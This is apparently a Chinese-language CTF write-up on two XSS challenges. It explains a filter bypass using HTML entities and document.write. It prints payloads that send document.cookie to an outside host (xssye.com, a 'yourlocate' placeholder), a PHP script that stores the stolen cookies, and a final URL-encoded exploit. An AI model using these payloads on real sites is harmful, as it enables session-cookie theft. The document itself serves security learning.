XSS1 & babyxss再回顾

XSS1 & babyxss再回顾

——XSS1——

参考:

分析:

这道题整体思路是在构造xss绕过,将绕过payload以URL形式发送,同时还有MD5截断验证。flag在cookie中。绕过的规则源码在xss.php中,可以看到是将你输入的字符串中的"",<>替换为空格,所以我们这里需要对这些符号进行转义。常见如下:

1
2
3
4
&#34;   &quot;   "     双引号
&#38; &amp; & &符号
&#60; &lt; < 小于号
&#62; &gt; > 大于号

这道题需要进行绕过分析,一直输验证码太麻烦所以我把源码复制下来,在本地进行测试。
同时,在检查源码时可以看到:
Imgur
我们需要闭合前后的双引号。但是我们这道题不能照搬上例,因为我们后引号后没有分号,所以我选择用//把后面的整体注释掉。
所以我做了如下尝试:

1
2
payload:";alert(1);//
转义后:&quot;;alert(1);// 本地可以弹窗

随后我就试着构造需要的payload

1
2
payload: ";<script src=http://xssye.com/V5uu></script>;//
转义后: &quot;;&lt;script src=http://xssye.com/V5uu&gt;&lt;/script&gt;;// 失败

由于不清楚js标签的一些规则,这里陷入了瓶颈。突然想到hint提到了标签的问题,搜到script标签是不能直接嵌套script标签的,要用documnet.write()
重新构造了payload

1
2
payload: ";document.write("<script/src=http://xssye.com/V5uu></script>");//
转义后: &quot;;document.write(&quot;&lt;script/src=http://xssye.com/V5uu&gt;&lt;/script&gt;&quot;);//

在xss.php页面进行提交,将地址栏得到的URL作为payload进行提交,我发现在xss平台得不到cookie,这个问题困扰了好多天,并且由于用别人的平台我也不清楚到底出错在那里。我决定使用自己的服务器来做。(所以到最后我也不知道为啥用外面的平台我做不出来555)
接下来的问题就是在服务器略微配置,通过查看日志就可以看到cookie了并且我在github clone了清华的一个平台,也非常好用,接下来这道题我放弃了使用现成的XSS平台,转用自己的服务器很顺利的做出来了XSS1,并且重新做了babyxss。


1.直接在服务器获取

首先在服务器上配置LAMP后,在/var/www/html下建一个get-cookie.php的文件,代码为:

1
2
3
4
<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

这里用babyxss举例:

1
payload:<script>document.location='http://yourlocate/get-cookie.php?x='+document.cookie;</script>          //在使用时根据需要进行编码转换

apache的access log/var/log/apache2中 用cat命令打开即可
效果如下:Imgur

2.使用数据接收平台

1
2
payload:";ducoment.write("<img src=http://yourlocate/xss/?cookie="+document.cookie+" />");//
编码后:&quot;;document.write(&quot;&lt;img src=http://yourlocate/xss/?cookie=&quot;+document.cookie+&quot; /&gt;&quot;);//

最终的payload为:

1
xss.php?name=%26quot%3B%3Bdocument.write%28%26quot%3B%26lt%3Bimg+src%3Dhttp%3A%2F%2Fyourlocate%2Fxss%2F%3Fcookie%3D%26quot%3B%2Bdocument.cookie%2B%26quot%3B+%2F%26gt%3B%26quot%3B%29%3B%2F%2F

提交后终于得到了cookie!
Imgur
撒花完结!